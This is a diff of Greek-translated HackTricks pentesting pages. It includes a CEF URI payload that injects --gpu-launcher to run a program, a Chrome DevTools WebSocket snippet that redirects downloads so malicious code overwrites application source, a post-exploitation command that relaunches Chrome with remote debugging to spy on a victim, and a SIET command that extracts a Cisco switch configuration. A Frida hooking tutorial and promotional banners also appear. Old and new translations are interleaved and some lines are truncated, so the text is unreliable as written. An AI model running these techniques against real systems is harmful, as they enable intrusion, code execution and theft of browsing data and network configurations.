Ανακαλύφθηκε ότι οι παράμετροι URI αποκωδικοποιούνταν URL και χρησιμοποιούνταν για να εκκινήσουν την βασική εφαρμογή CEF, επιτρέποντας σε έναν χρήστη να **εισάγει** τη σημαία **`--gpu-launcher`** στη **γραμμή εντολών** και να εκτελέσει αυθαίρετα πράγματα.
Έτσι, ένα πακέτο όπως:
So, a payload like:
```
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
```
Θα εκτελέσει ένα calc.exe.
### Αντικατάσταση Αρχείων
### Εγγραφή Αρχείων
Αλλάξτε τον φάκελο όπου **θα αποθηκεύονται τα κατεβασμένα αρχεία** και κατεβάστε ένα αρχείο για να **αντικαταστήσετε** το συχνά χρησιμοποιούμενο **πηγαίο κώδικα** της εφαρμογής με τον **κακόβουλο κώδικά** σας.
Αλλάξτε τον φάκελο όπου **θα αποθηκευτούν τα κατεβασμένα αρχεία** και κατεβάστε ένα αρχείο για να **εγγράψετε** τον συχνά χρησιμοποιούμενο **κώδικα πηγής** της εφαρμογής με τον **κακόβουλο κώδικά** σας.
```javascript
ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({
@ -135,15 +136,15 @@ downloadPath: '/code/'
}
}));
```
### Webdriver RCE και εξαγωγή δεδομένων
### Webdriver RCE και εξαγωγή
Σύμφωνα με αυτήν την ανάρτηση: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) είναι δυνατόν να αποκτηθεί RCE και να εξαχθούν εσωτερικές σελίδες από τον οδηγό.
Σύμφωνα με αυτή την ανάρτηση: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) είναι δυνατό να αποκτηθεί RCE και να εξαχθούν εσωτερικές σελίδες από τον ποταμό.
### Μετά την εκμετάλλευση
### Μετά την Εκμετάλλευση
Σε ένα πραγματικό περιβάλλον και **μετά την διάβρωση** ενός υπολογιστή χρήστη που χρησιμοποιεί πρόγραμμα περιήγησης βασισμένο σε Chrome/Chromium, μπορείτε να ξεκινήσετε ένα διεργασία Chrome με την **ενεργοποίηση της αποσφαλμάτωσης και την προώθηση της θύρας αποσφαλμάτωσης** έτσι ώστε να έχετε πρόσβαση σε αυτήν. Με αυτόν τον τρόπο θα μπορείτε να **επιθεωρήσετε όλες τις ενέργειες που κάνει ο θύμα με το Chrome και να κλέψετε ευαίσθητες πληροφορίες**.
Σε ένα πραγματικό περιβάλλον και **μετά την παραβίαση** ενός υπολογιστή χρήστη που χρησιμοποιεί πρόγραμμα περιήγησης βασισμένο σε Chrome/Chromium, θα μπορούσατε να εκκινήσετε μια διαδικασία Chrome με **την αποσφαλμάτωση ενεργοποιημένη και να προωθήσετε την θύρα αποσφαλμάτωσης** ώστε να μπορείτε να έχετε πρόσβαση σε αυτήν. Με αυτόν τον τρόπο θα είστε σε θέση να **εξετάσετε τα πάντα που κάνει το θύμα με το Chrome και να κλέψετε ευαίσθητες πληροφορίες**.
Ο αόρατος τρόπος είναι να **τερματίσετε κάθε διεργασία Chrome** και στη συνέχεια να καλέσετε κάτι όπως
Ο κρυφός τρόπος είναι να **τερματίσετε κάθε διαδικασία Chrome** και στη συνέχεια να καλέσετε κάτι σαν
```bash
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
```
@ -160,16 +161,17 @@ Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
* [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves)
* [https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,29 +1,38 @@
# Οδηγός Frida 2
# Frida Tutorial 2
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
**Bug bounty tip**: **sign up** for **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
**Αυτό είναι ένα σύνοψη της ανάρτησης**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Μέρη 2, 3 & 4)\
**APKs και πηγαίος κώδικας**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**This is a summary of the post**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
Το μέρος 1 είναι τόσο εύκολο.
Το μέρος 1 είναι πολύ εύκολο.
**Κάποια μέρη του αρχικού κ
**Ορισμένα μέρη του αρχικού κώδικα δεν λειτουργούν και έχουν τροποποιηθεί εδώ.**
## Part 2
Εδώ μπορείτε να δείτε ένα παράδειγμα του πώς να **hook 2 functions με το ίδιο όνομα** αλλά διαφορετικές παραμέτρους.\
Επίσης, θα μάθετε πώς να **καλέσετε μια function με τις δικές σας παραμέτρους**.\
Και τέλος, υπάρχει ένα παράδειγμα του πώς να **βρείτε μια instance μιας κλάσης και να την κάνετε να καλέσει μια function**.
```javascript
//s2.js
console.log("Script loaded successfully ");
@ -58,7 +67,7 @@ onComplete: function () { }
});
});
```
Μπορείτε να δείτε ότι για να δημιουργήσετε ένα String πρώτα αναφέρεται η κλάση _java.lang.String_ και στη συνέχεια δημιουργεί ένα αντικείμενο _$new_ από αυτή την κλάση με ένα String ως περιεχόμενο. Αυτός είναι ο σωστός τρόπος για τη δημιουργία ενός νέου αντικειμένου μιας κλάσης. Ωστόσο, σε αυτήν την περίπτωση, θα μπορούσατε απλά να περάσετε στο `this.fun()` οποιοδήποτε String όπως: `this.fun("hey there!")`
Μπορείτε να δείτε ότι για να δημιουργήσετε μια String πρώτα έχει αναφερθεί η κλάση _java.lang.String_ και στη συνέχεια έχει δημιουργηθεί ένα _$new_ αντικείμενο αυτής της κλάσης με μια String ως περιεχόμενο. Αυτή είναι η σωστή μέθοδος για να δημιουργήσετε ένα νέο αντικείμενο μιας κλάσης. Αλλά, σε αυτή την περίπτωση, θα μπορούσατε απλά να περάσετε στη `this.fun()` οποιαδήποτε String όπως: `this.fun("hey there!")`
### Python
```python
@ -85,7 +94,7 @@ python loader.py
### Python
Τώρα θα δείτε πώς να στέλνετε εντολές στην εφαρμογή που έχει υποκλείσει μέσω Python για να καλέσετε τη συνάρτηση:
Τώρα θα δείτε πώς να στείλετε εντολές στην συνδεδεμένη εφαρμογή μέσω Python για να καλέσετε τη συνάρτηση:
```python
//loader.py
import time
@ -116,9 +125,9 @@ script.exports.callsecretfunction()
elif command == "3":
script.exports.hooksecretfunction()
```
Η εντολή "**1**" θα **εξέλθει**, η εντολή "**2**" θα βρει μια **εμφάνιση της κλάσης και θα καλέσει την ιδιωτική συνάρτηση** _**secret()**_ και η εντολή "**3**" θα **συνδέσει** τη συνάρτηση _**secret()**_ ώστε να **επιστρέφει** ένα **διαφορετικό string**.
Η εντολή "**1**" θα **έξοδο**, η εντολή "**2**" θα βρει και θα **δημιουργήσει μια περίπτωση της κλάσης και θα καλέσει τη ιδιωτική συνάρτηση** _**secret()**_ και η εντολή "**3**" θα **hook** τη συνάρτηση _**secret()**_ έτσι ώστε να **επιστρέφει** μια **διαφορετική συμβολοσειρά**.
Έτσι, αν καλέσετε την εντολή "**2**" θα λάβετε το **πραγματικό μυστικό**, αλλά αν καλέσετε πρώτα την εντολή "**3**" και μετά την "**2**" θα λάβετε το **ψεύτικο μυστικό**.
Έτσι, αν καλέσετε "**2**" θα πάρετε το **πραγματικό μυστικό**, αλλά αν καλέσετε "**3**" και μετά "**2**" θα πάρετε το **ψεύτικο μυστικό**.
### JS
```javascript
@ -159,9 +168,9 @@ callsecretfunction: callSecretFun,
hooksecretfunction: hookSecret
};
```
## Μέρος 4
## Part 4
Εδώ θα δείτε πώς να κάνετε την **αλληλεπίδραση Python και JS** χρησιμοποιώντας αντικείμενα JSON. Το JS χρησιμοποιεί τη λειτουργία `send()` για να στείλει δεδομένα στον πελάτη Python, και η Python χρησιμοποιεί τις λειτουργίες `post()` για να στείλει δεδομένα στο σενάριο JS. Το **JS θα μπλοκάρει την εκτέλεση** μέχρι να λάβει απάντηση από την Python.
Εδώ θα δείτε πώς να κάνετε **Python και JS να αλληλεπιδρούν** χρησιμοποιώντας αντικείμενα JSON. Η JS χρησιμοποιεί τη συνάρτηση `send()` για να στείλει δεδομένα στον πελάτη Python, και η Python χρησιμοποιεί τις συναρτήσεις `post()` για να στείλει δεδομένα στο σενάριο JS. Η **JS θα μπλοκάρει την εκτέλεση** μέχρι να λάβει μια απάντηση από την Python.
### Python
```python
@ -212,22 +221,25 @@ return this.setText(string_to_recv);
}
});
```
Υπάρχει μια ενότητα 5 που δεν πρόκειται να εξηγήσω επειδή δεν υπάρχει κάτι καινούργιο. Αλλά αν θέλετε να το διαβάσετε, είναι εδώ: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
There is a part 5 that I am not going to explain because there isn't anything new. But if you want to read it is here: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια πρεμιέρα **πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
**Tip για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
* Δουλεύετε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) **ομάδα Discord** ή στην **ομάδα τηλεγράφου** ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Ελάτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,68 +1,72 @@
# 4786 - Cisco Smart Install
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Δουλεύετε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Basic Information
## Βασικές Πληροφορίες
**Το Cisco Smart Install** είναι ένα σχεδιασμένο από την Cisco λογισμικό για την αυτοματοποίηση της αρχικής ρύθμισης και φόρτωσης μιας εικόνας λειτουργικού συστήματος για νέο υλικό Cisco. **Από προεπιλογή, το Cisco Smart Install είναι ενεργό στο υλικό Cisco και χρησιμοποιεί το πρωτόκολλο στρώματος μεταφοράς, TCP, με αριθμό θύρας 4786.**
**Cisco Smart Install** είναι μια λύση της Cisco που έχει σχεδιαστεί για να αυτοματοποιεί την αρχική ρύθμιση και φόρτωση μιας εικόνας λειτουργικού συστήματος για νέο υλικό Cisco. **Από προεπιλογή, το Cisco Smart Install είναι ενεργό σε υλικό Cisco και χρησιμοποιεί το πρωτόκολλο μεταφοράς, TCP, με αριθμό θύρας 4786.**
**Προεπιλεγμένη θύρα:** 4786
```
PORT STATE SERVICE
4786/tcp open smart-install
```
## **Εργαλείο Εκμετάλλευσης Smart Install**
## **Smart Install Exploitation Tool**
**Το 2018, βρέθηκε μια κρίσιμη ευπάθεια, CVE-20180171, σε αυτό το πρωτόκολλο. Το επίπεδο απειλής είναι 9.8 στην κλίμακα CVSS.**
**Ένα προσεκτικά διαμορφωμένο πακέτο που στέλνεται στη θύρα TCP/4786, όπου είναι ενεργό το Cisco Smart Install, ενεργοποιεί ένα buffer overflow, επιτρέποντας σε έναν εισβολέα:**
**Ένα ειδικά κατασκευασμένο πακέτο που αποστέλλεται στην TCP/4786 θύρα, όπου είναι ενεργό το Cisco Smart Install, προκαλεί υπερχείλιση buffer, επιτρέποντας σε έναν επιτιθέμενο να:**
* να επανεκκινήσει εξαναγκαστικά τη συσκευή
* να καλέσει RCE
* να κλέψει διαμορφώσεις εξοπλισμού δικτύου.
* επανεκκινήσει βίαια τη συσκευή
* καλέσει RCE
* κλέψει τις ρυθμίσεις του δικτυακού εξοπλισμού.
**Το** [**SIET**](https://github.com/frostbits-security/SIET) **(Εργαλείο Εκμετάλλευσης Smart Install)** αναπτύχθηκε για να εκμεταλλευτεί αυτήν την ευπάθεια, σας επιτρέπει να καταχραστείτε το Cisco Smart Install. Σε αυτό το άρθρο θα σας δείξω πώς μπορείτε να διαβάσετε ένα νόμιμο αρχείο διαμόρφωσης υλικού δικτύου. Η διαμόρφωση της εξωθείας μπορεί να είναι πολύτιμη για έναν δοκιμαστή ασφάλειας επειδή θα μάθει για τα μοναδικά χαρακτηριστικά του δικτύου. Αυτό θα διευκολύνει τη ζωή και θα επιτρέψει την εύρεση νέων διανυσμάτων για μια επίθεση.
**Το** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** αναπτύχθηκε για να εκμεταλλευτεί αυτή την ευπάθεια, επιτρέποντάς σας να καταχραστείτε το Cisco Smart Install. Σε αυτό το άρθρο θα σας δείξω πώς μπορείτε να διαβάσετε ένα νόμιμο αρχείο ρυθμίσεων δικτυακού υλικού. Η ρύθμιση εξαγωγής μπορεί να είναι πολύτιμη για έναν pentester γιατί θα μάθει για τα μοναδικά χαρακτηριστικά του δικτύου. Και αυτό θα διευκολύνει τη ζωή και θα επιτρέψει την εύρεση νέων διανυσμάτων για μια επίθεση.
**Η συσκευή-στόχος θα είναι ένα "ζωντανό" διακόπτη Cisco Catalyst 2960. Οι εικόνες εικονικών μηχανημάτων δεν έχουν Cisco Smart Install, οπότε μπορείτε να εξασκηθείτε μόνο στο πραγματικό υλικό.**
**Η στοχευμένη συσκευή θα είναι ένας “ζωντανός” διακόπτης Cisco Catalyst 2960. Οι εικονικές εικόνες δεν έχουν Cisco Smart Install, οπότε μπορείτε να εξασκηθείτε μόνο σε πραγματικό υλικό.**
Η διεύθυνση του διακόπτη-στόχου είναι **10.10.100.10 και το CSI είναι ενεργό.** Φορτώστε το SIET και ξεκινήστε την επίθεση. **Το όρισμα -g** σημαίνει εξωθεία της διαμόρφωσης από τη συσκευή, **το όρισμα -i** σάς επιτρέπει να ορίσετε τη διεύθυνση IP του ευάλωτου στόχου.
Η διεύθυνση του στοχευμένου διακόπτη είναι **10.10.100.10 και το CSI είναι ενεργό.** Φορτώστε το SIET και ξεκινήστε την επίθεση. **Το -g επιχείρημα** σημαίνει εξαγωγή της ρύθμισης από τη συσκευή, **το -i επιχείρημα** σας επιτρέπει να ορίσετε τη διεύθυνση IP του ευάλωτου στόχου.
```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
```
<figure><img src="../.gitbook/assets/image (770).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (773).png" alt=""><figcaption></figcaption></figure>
Η διαμόρφωση του switch **10.10.100.10** θα βρίσκεται στον φάκελο **tftp/**
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1116).png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,62 +1,60 @@
# 21 - Pentesting FTP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
